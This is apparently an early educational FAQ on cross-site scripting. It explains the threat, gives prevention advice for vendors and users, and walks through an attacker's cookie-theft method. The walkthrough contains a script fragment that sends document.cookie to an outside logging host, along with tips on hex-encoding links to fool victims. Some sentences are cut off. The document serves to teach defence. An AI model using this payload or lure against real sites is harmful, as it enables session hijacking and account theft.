The Cross Site Scripting FAQ
Websites today are more complex than ever, containing a lot of dynamic content making the experience
for the user more enjoyable. Dynamic content is achieved through the use of web
applications which can deliver different output to a user depending on their settings and needs.
Dynamic websites have a threat that static websites don't, called "Cross Site Scripting"
(or XSS dubbed by other security professionals). Currently small informational tidbits about
Cross Site Scripting holes exist but none really explain them to an average person or administrator.
This FAQ was written to provide a better understanding of this emerging threat, and to
give guidance on detection and prevention.
"What is Cross Site Scripting?"
Cross site scripting (also known as XSS) occurs when a web application gathers malicious
data from a user. The data is usually gathered in the form of a hyperlink which contains malicious content within it.
The user will most likely click on this link
from another website, web board, email, or from an instant message. Usually the attacker will encode the malicious portion of the link
to the site in HEX (or other encoding methods) so the request is less suspicious looking to the user when clicked on.
After the data is collected by the web application, it creates an output page for the
user containing the malicious data that was originally sent to it, but in a manner to make it appear
as valid content from the website.
"What does XSS and CSS mean?"
Often people refer to Cross Site Scripting as CSS. There has been a lot of confusion with Cascading
Style Sheets (CSS) and cross site scripting. Some security people refer to Cross Site Scripting as XSS.
If you hear someone say "I found a XSS hole", they are talking about Cross Site Scripting for certain.
"What are the threats of Cross Site Scripting?"
a user (Read below for further details), or gather data from them. Everything from account hijacking,
changing of user settings, cookie theft/poisoning, or false advertising is possible. New malicious uses
are being found every day for XSS attacks. The following post by Brett Moore brings up a
good point with regard to "Denial Of Service", and potential "auto-attacking" of hosts if
a user simply reads a post on a message board.
"What are some examples of cross site scripting attacks?"
One product with many XSS holes is the popular PHP program PHPnuke. This product is
often targeted by attackers to probe for XSS holes because of its popularity. I have
included a few links of advisories/reports that have been discovered and disclosed just
from this product alone. The following collection should provide plenty of
Cross Site Scripting
More CSS Holes
"Can you show me what XSS cookie theft looks like?"
Depending on the particular web application some of the variables and positioning
of the injections may need to be adjusted. Keep in mind the following is a simple
example of an attacker's methodology.
Step 1: Targeting
After you have found an XSS hole in a web application on a website, check to see if it issues cookies. If any
Step 2: Testing
Since XSS holes are different in how they are exploited, some testing will need
to be done in order to make the output believable. By inserting code into the script,
its output will be changed and the page may appear broken. (The end result is crucial
and the attacker will have to do some touching up in the code to make the page appear
language) into the URL pointing to the part of the site which is vulnerable. Below I
have provided a few links that are for public use when testing for XSS holes. These
links below, when clicked on will send the users cookie to
www.cgisecurity.com/cgi-bin/cookie.cgi and will display it. If you see a page displaying
a cookie then session hijacking of the user's account may be possible.
A example of usage is below.
NOTE: The request is first shown in ASCII, then in Hex for copy and paste purposes.
'http://www.cgisecurity.com/cgi-bin/cookie.cgi?' + document.cookie</script>
cookie and then send a request to the cgisecurity.com website with the cookie in the query. My script
on cgisecurity.com logs each request and each cookie. In simple terms it is doing the following:
My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi
It sends a request to my site that looks like this.
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for a space)
This is a primitive but effective way of grabbing a user's cookie. Logs of the use of this public
script can be found at Cookie Theft article.
Step 3: XSS Execution
Hand out your crafted url or use email or other related software to help launch it. Make sure that
if you provide the URL to the user(through email, aim, or other means) that you at least HEX encode it. The code
is obviously suspicious looking but a bunch of hex characters may fool a few people.
In my example I only forward the user to cookie.cgi. A attacker with more time could do a few
redirects and XSS combo's to steal the user's cookie, and return them to the website without
noticing the cookie theft.
attachments but they do special filtering to prevent cookie theft.
Step 4: What to do with this data
Once you have gotten the user to execute the XSS hole, the data is collected and sent
to your CGI script. Now that you have the cookie you can use a tool like Websleuth to
see if account hijacking is possible.
This is only a FAQ, not a detailed paper on cookie theft and modification.
A new paper released by David Endler of iDefense goes into more detail
on some of the ways to automatically launch XSS holes. This paper can be found
at the Idefense website.
"What can I do to protect myself as a vendor?"
This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate
the majority of XSS attacks. Converting < and > to < and > is also suggested when it comes
to script output. Remember XSS holes can be damaging and costly to your business if abused.
Often attackers will disclose these holes to the public, which can erode customer and public confidence
in the security and privacy of your organization's site. Filtering < and > alone will not solve all
cross site scripting attacks and it is suggested you also attempt to filter out ( and ) by
translating them to ( and ).
"What can I do to protect myself as a user?"
The easiest way to protect yourself as a user is to only follow links from the main website
you wish to view. If you visit one website and it links to CNN for example, instead of clicking
on it visit CNN's main site and use its search engine to find the content. This will probably
eliminate ninety percent of the problem. Sometimes XSS can be executed automatically when you open an
email or attachment. If you are receiving email from a person you don't know (or don't like) don't
your browser settings. In IE turn your security settings to high. This can prevent cookie
theft, and in general is a safer thing to do.
"How common are XSS holes?"
Cross site scripting holes are gaining popularity among hackers as easy holes to find
in large websites. Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer,
Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.
Every month roughly 10-25 XSS holes are found in commercial products and advisories are
published explaining the threat.
"Does encryption protect me?"
Websites that use SSL (https) are in no way more protected than websites that are not
encrypted. The web applications work the same way as before, except the attack is taking
place in an encrypted connection. People often think that because they see the lock on
their browser it means everything is secure. This just isn't the case.
"Can XSS holes allow command execution?"
attacker were to exploit a browser flaw (browser hole) it could then be possible to execute
commands on the client's side. If command execution were possible it would only be possible
on the client side. In simple terms XSS holes can be used to help exploit other holes that
may exist in your browser.
"What if I don't feel like fixing a CSS/XSS Hole?"
By not fixing an XSS hole this could allow possible user account compromise in portions of
your site as they get added or updated. Cross Site Scripting has been found in various large
sites recently and have been widely publicized. Left unrepaired, someone may discover it and
publish a warning about your company. This may damage your company's reputation, depicting it
as being lax on security matters. This of course also sends the message to your clients that you
aren't dealing with every problem that arises, which turns into a trust issue. If your client
doesn't trust you why would they wish to do business with you?
"What are some links I can visit to help me further
Cross-site Scripting Tears Holes in Net Security
on XSS Holes
Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests
Meta-characters from User Supplied Data in CGI Scripts
The webappsec mailing list (Visit www.securityfocus for details)
Many Thanks to David Endler for reviewing this document.
The Cross Site Scripting FAQ/Zero Day Exploit : WMF Vulnerability